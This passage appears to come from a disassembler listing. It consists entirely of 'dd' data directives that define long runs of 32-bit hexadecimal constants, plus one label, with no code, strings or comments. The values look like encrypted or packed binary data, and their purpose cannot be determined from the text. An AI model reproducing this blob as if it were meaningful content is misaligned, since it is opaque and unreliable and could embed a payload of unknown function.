		dd 6E74D86Fh, 7F271523h, 0B8C18CA5h, 61BF5ADCh,	2F5AD5C4h
		dd 0B8D2CDFCh, 0D2031C4Eh, 50E1424h, 50DD6181h,	0A26C4687h
		dd 0A89027Bh, 0E0E97424h, 5A26AF56h, 63E5300Ch,	2F555E58h
		dd 6A574AD4h, 175200F0h, 0B88057B2h, 2CA063A6h,	0F7E8836Ah
		dd 4FE95F4Ch, 8DBF12E6h, 60F8EC38h, 0D81F8DDCh,	0B353A200h
		dd 1CE3C012h, 39EB8006h, 200CC398h, 174DCEE9h, 0E5B31E7Eh
		dd 0FEE48C17h, 0F5A20BEFh, 11DF84A1h, 136E519Eh, 8D69EAFDh
		dd 2D109C7Eh, 0A61A7B9Fh, 0E4EB4FA0h, 2DDBD12Ah, 68F90155h
		dd 302F5597h, 0D95B410Fh, 0ED267760h, 2455E603h, 2031F329h
		dd 4E04B808h, 9288A4Dh,	75FEE3F6h, 61DA3E18h, 4136B2BDh
		dd 4EF4B7B2h, 0F74D0C19h, 0DC3A45DDh, 0CFDC71B5h, 76A2D6D1h
		dd 0CC132F12h, 8240F952h, 45D00BBFh, 41846479h,	53738196h
		dd 77D3047h, 0AF4E75EEh, 0F1BE20C5h, 8158D54Fh,	29B5C3CFh
		dd 0FD3A5C16h, 7ADF0343h, 0CFF7591Dh, 0C0ADD124h, 1D0F1210h
		dd 0B48993BBh, 5CCF82Fh, 702BBACBh, 26A30121h, 7F9146A6h
		dd 0E90DE3A9h, 7B7043B0h, 979E381h, 6DC0C9BEh, 7A53E4A9h
		dd 8A85A28Ah, 21B913EFh, 0DF5A899h, 4A114EE6h, 6F9DA1F1h
		dd 622A7F9Ch, 0EFD146D5h, 7F9994C3h, 3E8D417Ah,	9D283F75h
		dd 162A63DBh, 71D8CDB3h, 501F5251h, 788BB6B0h, 82E076E3h
		dd 150959A8h, 0F2809F5h, 19017293h, 0B888D84Eh,	619FC098h
		dd 241710EEh, 14EA1C42h, 0A88A2D79h, 39E70892h,	0C0E25C17h
		dd 0C3E8ACB5h, 88B55152h, 3A21CD80h, 0C59EE5D0h, 64ED0B23h
		dd 82D24382h, 0AD8E5C0Bh, 0A746957Dh, 89704BFCh, 3022F2Ah
		dd 276780FEh, 0EC2E52Ch, 584811A4h, 5736F2C7h, 66DD9B39h
		dd 17EE3100h, 2B02B94Eh, 6D0AA61h, 272AE265h, 1787B673h
		dd 148C5D5Ch, 1FE5DB31h, 0A29305B2h, 9021C2B0h,	0B850030Fh
		dd 0F427A563h, 2E0F57F1h, 27792EF3h, 0D6A090AEh, 0AD4C93EEh
		dd 25AE7358h, 25F2655Eh, 0C655207Fh, 4F451689h,	4040AD02h
		dd 0C49F5808h, 0EFE913F1h, 10C9B927h, 570017B2h, 0A17F42BFh
		dd 0E700816Fh, 0DCA4A76h, 961FB1E9h, 0D3044B01h, 2DE7101Dh
		dd 32145CD1h, 0E4616D0Ch, 5068C03h, 0BAC95E66h,	16BD9877h
		dd 0AB088B59h, 5E336A38h, 0C0072525h, 537D4800h, 0F0F52245h
		dd 0A36342Eh, 0BAAB06B2h, 34D38E92h, 2678BCBFh,	8B89D9C4h
		dd 0CE53F714h, 72180B6Ah, 0A3A3B54Ah, 0DCD185E5h, 9A3E198Ch
		dd 0FD1426F9h, 0BFE07750h, 0AAF5F4A4h, 2DBCB16h, 0C5779A69h
		dd 2029A851h, 88392135h, 0A6E23CECh, 528CF791h,	13093081h
		dd 0BA7FC61Eh, 6F396FA6h, 0E91D9083h, 327A9673h, 0D5457B0Eh
		dd 9CC97E50h, 676C7E11h, 18257B97h, 0B73FE85Bh,	1F4DB8C1h
		dd 0E410067Ch, 10C87520h, 25E4A7EBh, 0BF56023Eh, 11A7E253h
		dd 6B25FA31h, 0A9740FF6h, 0AF2D5B1Fh, 109BF4A9h, 582963B2h
		dd 92EC2593h, 842EFF97h, 0B6FCB5A6h, 6A2F8AA0h,	8107C103h
		dd 931835C9h, 9FF1B01Eh, 0DB732D38h, 0E9059059h, 0CEFF3163h
		dd 0E82586Bh, 0A6491BD4h, 0B80BD6BBh, 217D95B3h, 0B2B8E931h
		dd 66139529h, 6491EAA5h, 5B000B4Ch, 465BB968h, 0FCD442B8h
		dd 717B410Eh, 32C28F7Fh, 0C2312025h, 20CA62E5h,	4064F65Dh
		dd 8E0E61EBh, 2EBB2751h, 0D550BAB8h, 0ED353E7Fh, 14AD4F2Ch
		dd 752D8D84h, 2AFF700h,	0F097701Eh, 4F83324Fh, 0AAD5BB90h
		dd 2AB49259h, 58B0B0EEh, 7F7DA6A1h, 0EFB8D1CCh,	0D6185103h
		dd 68E553DEh, 0CF54BF2Ah, 74141A62h, 0B42C89C7h, 587DD548h
		dd 59CE081Dh, 63352E4h,	15E4E707h, 0BC3F96B5h, 3CF57BACh
		dd 0BAA84AB1h, 5B3D2F1h, 3674C7AFh, 924F6EC3h, 4D4E8BCh
		dd 0C4336E0Ch, 404BBC68h, 0F57B29AAh, 27E9281Ch, 0B392D75Fh
		dd 577C35Dh, 79DDFA44h,	0E293EED0h, 0C32A00FBh,	3B770A03h
		dd 0E90BC231h, 71FED154h, 2D688EEDh, 1081A3D7h,	6B7545CEh
		dd 93972F3Dh, 0C360EA24h, 4E4E9148h, 12A7BCAEh,	7A20F5C7h
		dd 4E3BBF4Ch, 0B5061378h, 103C6A4Dh, 875B2FE9h,	6CAFE87Bh
		dd 445497A4h, 64D0E589h, 0E1801CB0h, 67C1C87Ah,	5B008027h
		dd 16DA3540h, 8931A17h,	0D32A01B0h, 0BA7DC195h,	0C2DE406Ah
		dd 3FC5CE4Fh, 38B9215Bh, 0FCE20832h, 0E9ECEA50h, 0A9946BBDh
		dd 0D77FC953h, 7FA7A8D2h, 0E9EE4900h, 21C42116h, 0F5E34A8Bh
		dd 7D290477h, 0F1CBE906h, 7DBF2B40h, 3B1885E2h,	7A80D253h
		dd 0BDFEE42Eh, 0D56B887Eh, 0FD2D7E86h, 0F55E5A7Dh, 0FBD3A3F1h
		dd 7AC5FC7Dh, 3482BF80h, 16E1E425h, 0E378BBE9h,	0DF512538h
		dd 0E9387E94h, 7B90DF09h, 4CDC7AB7h, 9D026001h,	8938DD24h
		dd 5857767Dh, 0B90E831h, 821C2749h, 7C333A68h, 6D026E40h
		dd 6CFF2345h, 75680541h, 16423006h, 8C00BAC8h, 15233EEAh
		dd 0D4D095E1h, 5EC4874Bh, 5601D2EBh, 0A05382E0h, 9732649Fh
		dd 8CDA5AD0h, 0C00684A5h, 0C2E7AE18h, 72CB7007h, 0FD26EF31h
		dd 9EA1A108h, 5B74E96Fh, 8242DAC4h, 49778968h, 2209C85Bh
		dd 6E7EC50Bh, 783C95C9h, 840DD405h, 0BB08074Ch,	0BA34A44Bh
		dd 0C06E39Dh, 901C8410h, 0E7692FE9h, 5F694F5Ch,	77A5F451h
		dd 2152453Ch, 765D2783h, 6C975677h, 261C216Fh, 957FD869h
		dd 0CF251CFFh, 0EE96C8B4h, 9F990228h, 6DF76309h, 0EA83B4D2h
		dd 4AD72E28h, 6896905Ah, 0B3933670h, 21290118h,	15C695F8h
		dd 0CA306838h, 1D964EE9h, 0FEDECAD7h, 0E29CC251h, 6850A6DCh
		dd 0A2735EE6h, 0EC05C0BFh, 0BD6F453Ch, 1A399403h, 25F2D703h
		dd 0B2642DE6h, 0DB5C5DEFh, 62042912h, 0D917E018h, 2C303DC3h
		dd 34AC617Dh, 838955C9h, 0E9B9D9DDh, 9F48A84h, 624D165Ah
		dd 263B9C21h, 77EB9374h, 45E18C2h, 52ACE9D0h, 0F702DBFAh
		dd 29480550h, 88F641DFh, 0E147E2E3h, 0AD03F5DAh, 0E84974E7h
		dd 22BB4AFDh, 79FD5576h, 94756987h, 62D79443h, 85595166h
		dd 5C272FA8h, 51F11139h, 0D77BB27Bh, 0AFAF1CEBh, 285A8C78h
		dd 0BABB3C03h, 0A25D835Fh, 0A21A614Ah, 9FD5DAFCh, 4F822ADEh
		dd 0E066EE54h, 4C371DF5h, 0EC5E290Eh, 0D2F7025Ah, 0CC455420h
		dd 18CFF8D6h, 0FC8926CBh, 0FD826A4Fh, 4A02E18Fh, 9BD5FEF8h
		dd 6A0AD2ACh, 8DA200E9h, 0F6336427h, 3D295E1Bh,	59BE6218h
		dd 0D7A84F00h, 0FF2013B5h, 933A17DDh, 498868C3h, 585F5B2Eh
		dd 502ACA8h, 6EBA28A8h,	422D5E41h, 0ED4C5907h, 0C04296A2h
		dd 0D9853BD5h, 0C482F1EEh, 72816858h, 0E9D05256h, 476F4AA5h
		dd 0D20A1FFCh, 0A455454Dh, 1E9082FAh, 0A3CCF180h, 0E4BBC2F1h
		dd 52F82DF1h, 4E229A46h, 0C23D205Dh, 47D4BE05h,	0A5FE6AC1h
		dd 0A4A97BD5h, 8971A9D2h, 0B5F175EBh, 7231ECE4h, 3F393E96h
		dd 9F0DCD20h, 84EFD7FEh, 28EB3745h, 0FAB5EDD6h,	75E9137Eh
		dd 0A626B49Bh, 5AB06815h, 5BD44C72h, 0C4BD7800h, 0BF38A55Dh
		dd 362C14F9h, 64CAAF17h, 33D5C205h, 0CA76C250h,	3CB16540h
		dd 1E650D20h, 13D24CFBh, 0AB262521h, 0BF7467Ch,	79503F64h
		dd 0C40AC05Fh, 0C1CDC00Dh, 1370190Fh, 0B5D1F738h, 118004E1h
		dd 17DA341Ch, 0BCAD6805h, 57C4D259h, 0E966F0ABh, 207A8E25h
		dd 552899BCh, 0C1314EB1h, 7BDC3D5h, 0C6267589h,	52B55C59h
		dd 0F4629F90h, 95B51E75h, 0E225DE5Ah, 0FF6C4E3h, 81273830h
		dd 0DD6FD461h, 927A806Ch, 0E9231829h, 391B4E24h, 2C1C59A4h
		dd 3E790930h, 0A220F35h, 5B2808C3h, 0D6ACA84Fh,	626AD8C0h
		dd 0EBB22954h, 5F0A44BDh
		dd 62CF31Dh, 10EA0992h,	0F241090Ch, 67002B5h, 0F984165Eh
		dd 1D29C2BAh, 4866561h,	77986B82h, 137CDA8Bh, 0D64266C2h
		dd 0E09628Ch, 3CC44D04h, 9626E4ACh, 659A263Dh, 18D9BED8h
		dd 0B837BC7Eh, 8A889DBBh, 282B08DBh, 4CF38100h,	26BCBEC8h
		dd 1782DE01h, 0A28D538Ch, 0B5899F21h, 31E7950h,	71D4BF66h
		dd 0F2EF83A1h, 69F053D7h, 0D648B803h, 773C8471h, 0CACF1840h
		dd 7F78B910h, 1E7A482Ah, 0BD6D3D0Ch, 0EE5BE570h, 0BE4024AFh
		dd 0C7D74D97h, 596FD4EBh, 8AA34257h, 40595402h,	2E7E7409h
		dd 57D1384h, 80716A1Ah,	283CE585h, 0F8701224h, 69411002h
		dd 97E6FF1Bh, 55E9291Eh, 2CF79A79h, 285D586Fh, 12311DD5h
		dd 0CC5BFD68h, 0C64015DEh, 1139047h, 3C711F6Eh,	775FF901h
		dd 295C6E24h, 0C15B9BF5h, 0E36F0437h, 757A12BFh, 24E3F3BBh
		dd 59E45201h, 0B0D8FEFh, 0C42B4568h, 967CB6DFh,	4ED4A83Dh
		dd 0D83E913Dh, 0F75FBF09h, 0C5BA3C53h, 34D7F8DFh, 8E878414h
		dd 0BCCBC7D4h, 190A95Ah, 0E91C2068h, 0DD963FB9h, 782DBEE8h
		dd 0B3FCF06Eh, 0C696B39Eh, 1F8EC5BEh, 0BF05A04Ch, 2154EEBh
		dd 4A485BFh, 0C678CB77h, 2F0B0CA9h, 801C3A2Bh, 204E7556h
		dd 0F7312F50h, 54E61EE0h, 0EA1D4C2Fh, 5F08056Eh, 0AE47D8AFh
		dd 73A6765Eh, 9B49E93Dh, 5CA5BE00h, 0DEF72392h,	375546C0h
		dd 5EE9697Ch, 4451364h,	8108ED99h, 69DC3548h, 3E40929Ah
		dd 0CB0818BAh, 309B03Ah, 1F3915D9h, 6E72D609h, 0E3CE794Bh
		dd 0B7538727h, 4BDED0A5h, 0BFA7C4C9h, 0F5A7E1FCh, 5EFFECCDh
		dd 6A5369AEh, 0FCE93961h, 0BB2D682Ch, 1DB83F7h,	0F00DE2DDh
		dd 0CF682504h, 41B23F46h, 0C748D489h, 9005E8A9h, 2280806h
		dd 40C600CBh, 0F6816FA8h, 0D3674E6Dh, 7039EE24h, 41071710h
		dd 7E370453h, 481FA257h, 8BBC2AA4h, 0D0015B02h,	5111A068h
		dd 1E9184F7h, 0A51EC1ADh, 15E83B85h, 2026DB85h,	7C1F6915h
		dd 0E9521306h, 192C2DB6h, 0AA03E0C1h, 80C9204h,	0D032CCAFh
		dd 87F75A39h, 9987A035h, 0FA46E9E1h, 0E8091E8Bh, 0D17B5196h
		dd 258C4050h, 0F63FE49Eh, 0A7E01C0Bh, 3CD378BEh, 0EDDF6F09h
		dd 41E9814Eh, 0AF3AFEC8h, 2AE92478h, 21C6D938h,	0BE8143B1h
		dd 4E907CC3h, 4A8AD370h, 51583CE7h, 23634109h, 5B518429h
		dd 0B089F9EBh, 0F268F1F7h, 0B818BD42h, 0E832E99Ch, 0F75CB2C7h
		dd 0F6A56B71h, 0D797C247h, 214398E8h, 953FB624h, 0A656051Fh
		dd 0E1BF3D40h, 0F4200F7Ah, 0BF584A76h, 12E102Eh, 5E13884Ah
		dd 60936804h, 9C36CDCDh, 2E3CE938h, 40DABACFh, 0D0D45432h
		dd 0DDF63848h, 8E5C006h, 940AC5FEh, 84C13CB9h, 2D3068A0h
		dd 0D0BD161Fh, 3162CA56h, 0A77B933Dh, 0BD5BD065h, 0B5B705Eh
		dd 625D6886h, 0E947757Bh, 32DFB886h, 8A15382Bh,	7B5FABCAh
		dd 4FF74894h, 41973DC3h, 0A010F7F1h, 3B41BE0Dh,	0F05F8C20h
		dd 24184ADDh, 0DFFDC398h, 5AC2D127h, 9A99013h, 0EF2477EBh
		dd 50CD505Fh, 975A08C3h, 0E941097Eh, 753BED6Eh,	685E90AFh
		dd 0CE933C9Eh, 0AD167300h, 35F9876Dh, 8008DFF7h, 52E9890Dh
		dd 7EAC9258h, 4E043A17h, 82F50FEh, 1080F25Bh, 2932DE89h
		dd 50D5EB9Ah, 0EF5A5AFFh, 0B80BA33Dh, 612A4316h, 5E0F2C8h
		dd 2CDC2180h, 0C38EBDB1h, 448365C3h, 0A2E8ABBCh, 0B0E8291Ah
		dd 7625385Eh, 0D73720Ah, 0FEE74604h, 0F6A4A2B8h, 0DCC87C26h
		dd 255F13F3h, 97BE5E18h, 0AB6034BDh, 8690AADh, 74CAB680h
		dd 34AEB45h, 0BC048FECh, 0BA65693Ah, 0F20142F3h, 331502BFh
		dd 0E642F652h, 0A176F857h, 4024AEE0h, 8B2AFF7Dh, 92B5855h
		dd 80AF74C4h, 32FBCDE8h, 0C356030h, 52B01872h, 9BE5D128h
		dd 0EB049816h, 88824B85h, 0EFE982BEh, 0A5A07D5Dh, 3A544AC2h
		dd 9E68759Ch, 1E42E986h, 535A2E72h, 0E9CD16A4h,	66022F88h
		dd 9F4DFC74h, 5EA0AB20h, 0D0971553h, 178B2D82h,	689C30DBh
		dd 4EED1B56h, 6EF6EBA4h, 0FFF48592h, 0B92D577Dh, 1233D684h
		dd 0EFAA17EEh, 0DC528C42h, 0ABE9DD9Fh, 9BB42F2Dh, 0C0595AE9h
		dd 685651EDh, 2706DC9Fh, 1C5F54ECh, 0C1EABC16h,	2A52854Ch
		dd 0A59C51BDh, 0A9468D5h, 9CDE9AC5h, 0F703C21Dh, 0B56E5E07h
		dd 0EECE41FDh, 0C0CB295Ch, 9A75E979h, 20229024h, 0E0BDD866h
		dd 0CCA3823Ch, 0F7A0C70Fh, 0DC5BFD82h, 514CF322h, 0CA082449h
		dd 0B04E5498h, 0CF05B113h, 0B24D4BA4h, 0BE8B404Bh, 5F3F9007h
		dd 4A41B94Eh, 0C03EAE18h, 0AB0BF8Eh, 6E17CF7h, 56621C37h
		dd 236A2BEh, 7895E908h,	0D83013FBh, 0DDB6AE53h,	0EF80127Eh
		dd 0B304FB55h, 0ECAABCF7h, 511C85C8h, 0EABF82EEh, 5B478A51h
		dd 6C5AD7E3h, 0C2EC402Eh, 4497E678h, 0C4432FCDh, 9BC2A293h
		dd 0C3086455h, 1195050h, 0A01AD5E7h, 0AB2A6859h, 184E8837h
		dd 0B86F21F1h, 54E9B184h, 6873026Fh, 74461ED9h,	20DF5B5Ch
		dd 0D8FC9FBAh, 828E0581h, 0C3FC7050h, 0BB14C00Ah, 3E892CFDh
		dd 66E5687Bh, 0F267230h, 0C70029A6h, 3EC655F3h,	4E1F9047h
		dd 8439EE74h, 4A1FF706h, 1C0AA2Dh, 4AF4685Eh, 7919CC1Fh
		dd 0A5C00EB7h, 0A7D0C3B2h, 2661B1EDh, 0C96294h,	462C1A4Fh
		dd 0EE6AE0E9h, 0D347BA22h, 20184C9Bh, 5D4BC749h, 6C8554E6h
		dd 51CCAF99h, 94791375h, 4E3FA83Ah, 0F2AA9B12h,	0F6E8E2C0h
		dd 0BE40255Dh, 7F3B42ADh, 41CF0551h, 8B005073h,	79715BEFh
		dd 61489762h, 65977BACh, 694D82A4h, 0EC07206h, 7F5C01F7h
		dd 25A7327Eh, 2AC6F55Bh, 4544C832h, 69745DC7h, 24EF8E8Bh
		dd 0B3E82437h, 153AB903h, 67F92F08h, 0BAEC6BB1h, 0DEF0928Bh
		dd 1F183505h, 2DA8BC8Ah, 0F0B8165Ah, 0EA5B546Fh, 0A698A1B3h
		dd 510A0567h, 0BDB6E977h, 86CFEDA5h, 26A1AFE9h,	0AACCE0BDh
		dd 5DE88B66h, 67541168h, 476BE8E4h, 51917D1Bh, 0FECE541Eh
		dd 68120C9Fh, 2CC9EE12h, 68A1FE42h, 0B6F0285Ch,	0D4E958DFh
		dd 7BFEE227h, 0C9D7A720h, 91647CB7h, 2E6C54CEh,	0B53E4AE9h
		dd 0DA0CD8ACh, 505679BFh, 0BE12665Ch, 82F068E2h, 5F5F79F1h
		dd 0F0B5D331h, 56F340E5h, 0DF51E954h, 0B960B8BCh, 2A273C6h
		dd 0E9D1F742h, 985F15F0h, 0C99C7502h, 0A4F02110h, 0DAED2A35h
		dd 0E56EC3BAh, 9C0C0DC9h, 0F8175C22h, 845005BEh, 0F623459Eh
		dd 0C3C8AAF9h, 0E965404Fh, 7EA30B59h, 0D8ACAD64h, 6E61E6C8h
		dd 0CCCBFD3Bh, 0C3B90470h, 5E013464h, 813DE955h, 5AFBBF4Fh
		dd 832039D0h, 0F2430958h, 43092131h, 0A3400AF5h, 6E7F320Fh
		dd 0DF7C036h, 5BE1B775h, 530BF429h, 5843343Ch, 2FF4FE5h
		dd 4294E95Fh, 894F5B55h, 0E57C3709h, 8A1F01E4h,	62B76984h
		dd 6FF2EB81h, 3F590CC2h, 0C6F675A6h, 32A008A0h,	0CDBDF478h
		dd 0BF14A53Ch, 83FD10BFh, 95C374A4h, 42D24C50h,	0D901E191h
		dd 0D2F9E660h, 4ED8035Dh, 0D3EA4B27h, 7C6C17E0h, 0E817E52Ch
		dd 2003990Bh, 0F6455704h, 85584C3Eh, 0BAEEB150h, 0BF5BFC20h
		dd 0B9B9C30h, 417AE697h, 0FAB02ECEh, 65F6EC53h,	0C4B90CA5h
		dd 528FA055h, 58F7BA07h, 0A9B34EBFh, 0F61603CFh, 46CD80DDh
		dd 12C2F59Ah, 0D4E7D243h, 6BE8AA57h, 0AF68F1A0h, 5F0A4A54h
		dd 0B54BA590h, 0CE3B27A1h, 1C8B5A24h, 98C6B85Bh, 8006F50Ch
		dd 0BC7EF380h, 7B9C3C25h, 40FAA874h, 0AC2F68DAh, 0E3A37C02h
		dd 2D03B1E9h, 9CB805Ah,	7FD0D250h, 0E146C88Bh, 2FDD709Dh
		dd 2058E883h, 0B0651D20h, 38A5B55Bh, 5B0C389h, 3A43B603h
		dd 7CEC6BE9h, 48D03E7Eh
		dd 0F1D654CAh, 0D6975A1Ch, 94CBAEB0h, 0A751957Bh, 2515D508h
		dd 0DD6B05DEh, 0C0084B68h, 4EFE4Bh, 7077C974h, 206CCEEh
		dd 0C61D0C18h, 2BAEA28h, 16DA5113h, 0E3087F29h,	5B5A0B08h
		dd 0E916A746h, 31AB60DCh, 6C2D8CBBh, 42D2C499h,	4D362501h
		dd 8555CA74h, 9D00073Dh, 0DFDDE681h, 145EBD05h,	9308562Dh
		dd 0A224FF1Fh, 0FA06C202h, 15D1FFFEh, 1D16DD6Bh, 8557E927h
		dd 9C092903h, 42938F59h, 0AF7D0A68h, 235D0051h,	0B75B2041h
		dd 5C045352h, 89B76EE6h, 27C8BECh, 5FB83A23h, 4575F929h
		dd 5E985E1h, 4B68E3C8h,	58980FAAh, 91236C7h, 68C6FDh, 0D5F672B5h
		dd 89CB652h, 0FE5AF502h, 5411E9CDh, 0FFE273Bh, 9B022C59h
		dd 8980EFCAh, 2DF785Fh,	341A439Ah, 570C63DBh, 0E91586F0h
		dd 1FD1736Dh, 47CF6905h, 0CFED6411h, 101803D1h,	639C588h
		dd 0D6434E27h, 969AF6B9h, 22D82E9h, 59507040h, 555E5825h
		dd 0B151F3C8h, 373D935Ch, 0D80322CBh, 29FC3D66h, 52914FFFh
		dd 29C4BA41h, 0CA63C2AFh, 88079574h, 0D03750DDh, 18C2C357h
		dd 3645F517h, 50B16913h, 66F2A968h, 4D4364D5h, 46505559h
		dd 5C250006h, 53A3B4Eh,	15E66963h, 81ACFh, 0F3739BCh, 8AF5022Dh
		dd 0C531C2EEh, 5B54AC8Fh, 39491207h, 59BDB27Bh,	49DB2FD5h
		dd 6B3F7028h, 79799B5Ch, 711B01C2h, 4EFB80B7h, 0DDF73A59h
		dd 0F52F53B0h, 4B9D45FEh, 0F788497Ch, 4A22662h,	0AA3EFC4Fh
		dd 0DD3CFCD1h, 9F95372Bh, 0EE5DF3CCh, 2F72AA0Bh, 53A0FD40h
		dd 0AEC904F6h, 0A806B24Eh, 4F1F8E8h, 7A127FC6h,	573C153h
		dd 0CBA00F6h, 4FDD0414h, 0C5D68956h, 33E3FAEBh,	44F512DAh
		dd 8242B587h, 0B7761DC4h, 37BCD1FAh, 64E90516h,	5556520Eh
		dd 3A798B5Fh, 163CCBF1h, 0F0375395h, 0FEF67481h, 0F066DD7Ah
		dd 71BF4B6Eh, 0E80249BFh, 600B23CDh, 168AEEFCh,	429CF335h
		dd 3ADB6BB5h, 4011E05Fh, 33559701h, 0F2B3D96Ch,	5E52E62Fh
		dd 510D4081h, 0EC4607CBh, 6077282Eh, 2913D9E3h,	724DEBB8h
		dd 1C8B12FFh, 89C598E2h, 0B82582DAh, 0A78BD509h, 13EDEE04h
		dd 0FCCABA04h, 0C6015E0Bh, 0C76D0A4Ah, 801634E1h, 0F181D1D3h
		dd 7DC8624Eh, 99F62A6Ah, 5AD6169Fh, 1003E289h, 0BF388F84h
		dd 75EC0B0Fh, 4BCFF856h, 519AD8AFh, 94A77FAh, 4ADEBEA8h
		dd 232DCC2Dh, 0F02909F5h, 5402807Ch, 0E02E2049h, 172596BAh
		dd 41090FA4h, 700BF5DFh, 0CDB0EFF9h, 0AA24756Ah, 32928330h
		dd 828974EFh, 62224C5Dh, 0F85C056Fh, 18533D13h,	6614C080h
		dd 0BE024EBDh, 21F62D39h, 74BCEBE9h, 6D62BE03h,	43F6459h
		dd 4CF9A84Fh, 0E7809DF5h, 342809A9h, 51D83368h,	4501E531h
		dd 0A13923BAh, 5D780965h, 12546C11h, 0F7607FA7h, 0BCF6BE6h
		dd 6FE9453Eh, 0A51F50AAh, 0C3D53BCAh, 0B80650BFh, 25EF6AB5h
		dd 8A600885h, 0C9E1890Fh, 0C0ADE216h, 9DBA8EB9h, 6886B051h
		dd 2DA95592h, 0D9932882h, 0FB51D7C2h, 8FD17BCh,	528BF3EDh
		dd 0C2E19AB3h, 1FE84058h, 65ECB7Ah, 107F51Ah, 9B136DE5h
		dd 38F480FAh, 120E1E49h, 0ED3643E9h, 0B88198B9h, 0BCEFB1BBh
		dd 0C241BA2Fh, 4EBE2E5Bh, 0C96134E2h, 30D9F6ECh, 0D29EC612h
		dd 839C704h, 0A7AD93EAh, 0D7892C27h, 0ACFEE162h, 6FF95218h
		dd 83F19F0Fh, 9202D988h, 40A34BE2h, 72D3C280h, 60B50A3Fh
		dd 0F441E4C2h, 0A07F9DF1h, 95257536h, 80FDF269h, 0A690DCBh
		dd 8520FD0Ah, 35BA12Dh,	0E8290817h, 1ECFE601h, 0C53A15D2h
		dd 9C9ACE8h, 0E01DD57Ah, 82F030F8h, 0B2FA295Ah,	0FC2B2D81h
		dd 98050363h, 0D451FE02h, 22F1A1BFh, 7E52CBB1h,	0E72D60C2h
		dd 85B53671h, 7120506h,	0E9577FD0h, 0E4B15B5Eh,	37BC4B61h
		dd 0D0BFBD20h, 12734A79h, 222EEAA8h, 8B3FA15Bh,	4BA26056h
		dd 9CEE04EBh, 0BB09146Eh, 9B278EB8h, 9602EC74h,	75538F66h
		dd 2CEAA1E1h, 7E553B42h, 0D417E048h, 4CB70089h,	814B28BEh
		dd 56D509CBh, 76047C61h, 74001343h, 20C32D5Dh, 5720077h
		dd 9301E6Eh, 47F9D801h,	911CA07h, 0F5F044E9h, 8880AC50h
		dd 1F4B8E4Bh, 42C76275h, 2947D57Ch, 0EA12E942h,	0F173DDF8h
		dd 0DC58E617h, 97B42D24h, 133FB547h, 77B35156h,	84B4AD96h
		dd 0CD144B35h, 9D09F90Bh, 0F60B5880h, 42BDF762h, 524EF7E5h
		dd 0B8DF809Dh, 9B103Ah,	48E0D17Ch, 9C29CA0Dh, 0BCCC81A3h
		dd 5F655FDDh, 438984E9h, 7E970DF0h, 74265988h, 0C07FB877h
		dd 500E5C04h, 0E3AE2C8Bh, 28AFD650h, 0E97E529Ch, 9174C92h
		dd 490259CEh, 0E1BE2016h, 7DC69FA9h, 584A799Ch,	0A3A428BAh
		dd 0D99F0A61h, 1F6CFFB0h, 98C8FB93h, 25592F68h,	79272A73h
		dd 0F4E663A1h, 20EFE25Ah, 0E11EAC90h, 2DEE415Fh, 7B946A93h
		dd 595F130Bh, 0BFE9421Ah, 2916D2FEh, 7E5B2BB4h,	5639053Eh
		dd 0C53D5FBEh, 4E16ABE3h, 681D80AFh, 5D651E7Dh,	70BC752h
		dd 26C2515Bh, 0FEB016ECh, 36B81C65h, 0C815015Fh, 206E3C44h
		dd 84F1EBAh, 30A967ECh,	5580FE68h, 657E0F68h, 3E6F66A6h
		dd 6B881619h, 4ADE58A0h, 842AE203h, 281CFA2Ch, 857C90ECh
		dd 8C688998h, 0B564DEF6h, 7147C0EBh, 740E6C0h, 97049002h
		dd 0CF971358h, 0F4D2963Dh, 0B8418263h, 92FAAF04h, 0FCD459B4h
		dd 5092ED48h, 589EDBFAh, 9C6882F3h, 0BE28713Ch,	0D45422A5h
		dd 0B2BFC45Bh, 66FB9284h, 20233F6h, 680B9B05h, 7E187D1Ch
		dd 6F1613BAh, 0ECF31FCEh, 0FAB1E984h, 96E25117h, 26CBBFB4h
		dd 26AF680Ch, 9BD454Dh,	97B2CEA5h, 21D7A4AFh, 3F32D93h
		dd 3B6AB154h, 0FF6CF952h, 2F3CEE71h, 0FE10F744h, 744B295Fh
		dd 0EE5F4BA3h, 855A1314h, 0E3AAE303h, 5F669F4h,	39BB3F50h
		dd 4B22F82Fh, 9FC9D997h, 1FBF8953h, 0E92D42D0h,	755A62A8h
		dd 0DE6DE779h, 2D13330h, 680C7954h, 985F50F1h, 243F86C9h
		dd 0CB33430Eh, 0BC51C304h, 3FBF02E9h, 0F65C8829h, 75A27A9h
		dd 3704F74Eh, 0B980465Dh, 7DDB22B7h, 17A5E4Dh, 3CAB0585h
		dd 7434A534h, 0FCE100BAh, 5326C020h, 877BA0B0h,	8978D001h
		dd 6F31E9EBh, 3081396Fh, 9340B52Fh, 9D1C9A58h, 5DC269E2h
		dd 3575DA55h, 81243077h, 2AF9B28Fh, 29095E1Fh, 5716AFC7h
		dd 84EEDF13h, 1222BCB9h, 0CFFB3C8Bh, 0ADE9095Fh, 0F7AF20CCh
		dd 7B1C46B4h, 0C09E4A58h, 0CC28052h, 2C1FF2E6h,	4E7FD528h
		dd 97AE99C4h, 5184407Dh, 0E69D3DCFh, 0A7F234A1h, 162C8495h
		dd 6F81BAFAh, 0F26ADD29h, 2AA85BE4h, 1EDC282Dh,	98D8123Eh
		dd 8FE0084Bh, 680290A9h, 31E012Ch, 503A3082h, 688CE577h
		dd 0E95385B7h, 4280B0BAh, 0B4609095h, 0FEE3E0CEh, 88799730h
		dd 71709748h, 81E6948Fh, 6D52BCBEh, 32F02B1Eh, 2582B057h
		dd 0B37D1207h, 3C33D9CAh, 0CA40456Ah, 9406068Ah, 0C35BC9B0h
		dd 9D7CE1E9h, 0EA808DEh, 0BF9E0F20h, 0F8B4B8F9h, 0F1BA8409h
		dd 9DC9CF4Dh, 0DC968DA9h, 28CCA6C8h, 78F32720h,	316CC756h
		dd 4007B05Dh, 0C35A2841h, 2C1E8666h, 0B97ED1C2h, 0A8CB5FBCh
		dd 895CA29Bh, 541D4404h, 9D5BFD7Dh, 0FF3B0BF7h,	0C1A8944Fh
		dd 0D96A5101h, 9928E965h, 76093006h, 4339490Ah,	0A3CDC8ECh
		dd 1FA92711h, 51F4907Dh, 66D80B68h, 868639AAh, 798B8B6h
		dd 7ADD395h, 0C43E55C1h, 0A8A8AE35h, 0DDD40841h, 0E8C3A8BDh
		dd 386B1D2Dh, 4FEDA84Ch, 0E3F775EBh, 5E724819h,	60CB0217h
		dd 0CAC85659h, 7C215A0Bh, 0BE3550EDh, 0BCF517C0h, 0F60EB11Dh
dword_4AB05C	dd 2E5E4102h, 0A4F04BFh, 16B2BBB5h, 6167748h, 317BE816h
		dd 39E91846h, 0B3538150h, 0EB801CA2h, 46F3CF55h, 1CC6D4C6h
